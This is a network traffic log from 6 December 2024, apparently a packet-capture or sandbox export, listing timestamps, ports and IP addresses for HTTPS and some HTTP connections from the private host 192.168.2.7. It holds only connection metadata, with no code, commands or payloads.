Dec 6, 2024 22:08:28.668387890 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.668401003 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.673582077 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.673688889 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.673695087 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.676145077 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.676197052 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.676206112 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.685739994 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.685795069 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.685801029 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.700747967 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.700805902 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.700812101 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.704972029 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.705025911 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.705032110 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.714365005 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.714416027 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.714421988 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.729701996 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.729760885 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.729765892 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.733069897 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.733155012 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.733160019 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.742455959 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.742620945 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.742626905 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.751471043 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.751543045 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.751548052 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.760926008 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.760978937 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.760984898 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.770558119 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.770612955 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.770622015 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.790846109 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.790915012 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.790920973 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.793627977 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.793736935 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.793742895 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.799292088 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.799343109 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.799349070 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.804620981 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.804677010 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.804682970 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.812798977 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.812870979 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.812876940 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.815573931 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.815629959 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.815634966 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.821532011 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.821599960 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.821605921 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.826329947 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.826385975 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.826391935 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.831799030 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.831955910 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.831960917 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.839404106 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.839462042 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.839468002 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.842303991 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.842351913 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.842359066 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.859642982 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.859719038 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.859725952 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.860229015 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.860287905 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.860294104 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.862371922 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.862431049 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.862436056 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.862473011 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.862597942 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.862795115 CET	49716	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:28.862812042 CET	443	49716	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:28.946548939 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.946615934 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.946713924 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.958456993 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.958487988 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.958507061 CET	49724	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.958513021 CET	443	49724	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.996258020 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.996315002 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:28.996388912 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.999087095 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:28.999104023 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.000207901 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.000278950 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.000346899 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.000560999 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.000571012 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.000581980 CET	49726	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.000586033 CET	443	49726	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.001674891 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.001737118 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.001782894 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.002254963 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.002275944 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.002295017 CET	49725	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.002300024 CET	443	49725	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.004350901 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.004389048 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.004492998 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.004667997 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.004681110 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.005337000 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.005387068 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.005551100 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.006309032 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.006345034 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.006414890 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.006577969 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.006591082 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.006759882 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.006766081 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.006794930 CET	49727	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.006798983 CET	443	49727	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.017371893 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.017431974 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.017659903 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.018043041 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.018052101 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.018071890 CET	49728	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.018075943 CET	443	49728	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.018135071 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.018147945 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.018321991 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.018521070 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.018532038 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.020232916 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.020256996 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.020380974 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.020478010 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:29.020486116 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:29.776808023 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:29.823333979 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:29.868362904 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:29.868403912 CET	443	49741	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:29.868503094 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:29.868751049 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:29.868763924 CET	443	49741	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:30.227894068 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:30.227947950 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:30.228008032 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:30.229974985 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:30.230001926 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:30.325361967 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.325392008 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.325398922 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.325419903 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.325452089 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.325472116 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:30.325494051 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.325514078 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:30.325567961 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:30.346468925 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.346556902 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.346775055 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:30.365547895 CET	49722	443	192.168.2.7	172.202.163.200
Dec 6, 2024 22:08:30.365581036 CET	443	49722	172.202.163.200	192.168.2.7
Dec 6, 2024 22:08:30.716311932 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:30.724112988 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:30.725315094 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:30.735894918 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:30.737838984 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:30.756818056 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:30.775186062 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:30.775770903 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:30.791172981 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:30.792010069 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.092050076 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.092076063 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.095187902 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.095207930 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.095232010 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.095237017 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.095530033 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.095566034 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.095932961 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.095937967 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.096168995 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.096182108 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.096208096 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.096220970 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.096520901 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.096524954 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.096775055 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.096798897 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.097150087 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.097158909 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.411602974 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.411794901 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.411875963 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.412026882 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.412112951 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.412161112 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.415396929 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.415472984 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.415524006 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.415823936 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.415880919 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.415930033 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.416490078 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.416555882 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.416601896 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.560270071 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.560305119 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.560323000 CET	49732	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.560332060 CET	443	49732	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.563177109 CET	443	49741	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:31.568872929 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.568902016 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.568914890 CET	49733	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.568922043 CET	443	49733	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.591260910 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:31.591274023 CET	443	49741	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:31.591651917 CET	443	49741	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:31.595057011 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:31.595129013 CET	443	49741	142.250.181.68	192.168.2.7
Dec 6, 2024 22:08:31.595902920 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.595927954 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.595938921 CET	49731	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.595947027 CET	443	49731	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.597242117 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.597251892 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.597265005 CET	49734	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.597270012 CET	443	49734	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.598246098 CET	49735	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.598256111 CET	443	49735	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.610233068 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:31.610301971 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:31.619932890 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:31.619942904 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:31.620189905 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:31.628747940 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.628787994 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.628850937 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.632147074 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.632184982 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.632244110 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.633131981 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.633141994 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.633193970 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.641751051 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.641765118 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.642117023 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.642132998 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.642498970 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.642508984 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.643722057 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.643748999 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.643799067 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.644099951 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.644113064 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.646476030 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.646502972 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.646553040 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.647653103 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:31.654453039 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:31.654464960 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:31.658248901 CET	49701	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:31.658730030 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:31.666650057 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:31.680097103 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:31.727333069 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:31.778004885 CET	80	49701	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:31.778635025 CET	80	49750	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:31.778748989 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:31.779201984 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:31.899127960 CET	80	49750	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:32.123507023 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:32.123578072 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:32.123630047 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:32.124207973 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:32.124241114 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:32.124254942 CET	49742	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:32.124260902 CET	443	49742	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:32.169362068 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:32.169405937 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:32.169495106 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:32.169750929 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:32.169759989 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:32.470257044 CET	49752	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:32.470314980 CET	443	49752	172.217.19.206	192.168.2.7
Dec 6, 2024 22:08:32.470376015 CET	49752	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:32.470695019 CET	49752	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:32.470710993 CET	443	49752	172.217.19.206	192.168.2.7
Dec 6, 2024 22:08:32.487808943 CET	49753	443	192.168.2.7	142.250.181.110
Dec 6, 2024 22:08:32.487848997 CET	443	49753	142.250.181.110	192.168.2.7
Dec 6, 2024 22:08:32.487971067 CET	49753	443	192.168.2.7	142.250.181.110
Dec 6, 2024 22:08:32.488245010 CET	49753	443	192.168.2.7	142.250.181.110
Dec 6, 2024 22:08:32.488255024 CET	443	49753	142.250.181.110	192.168.2.7
Dec 6, 2024 22:08:33.363132954 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.363411903 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.363430023 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.364037037 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.364098072 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.364128113 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.364249945 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.364283085 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.364737034 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.364763021 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.365636110 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.365662098 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.366110086 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.366115093 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.366338015 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.366345882 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.366424084 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.366430044 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.366806030 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.366816998 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.374763966 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.375458002 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.375480890 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.375972986 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.375978947 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.462716103 CET	49755	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:33.462755919 CET	443	49755	172.217.19.206	192.168.2.7
Dec 6, 2024 22:08:33.462903976 CET	49755	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:33.463301897 CET	49755	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:33.463318110 CET	443	49755	172.217.19.206	192.168.2.7
Dec 6, 2024 22:08:33.548732996 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:33.548832893 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:33.550319910 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:33.550331116 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:33.550586939 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:33.552303076 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:33.599342108 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:33.617999077 CET	80	49750	185.215.113.206	192.168.2.7
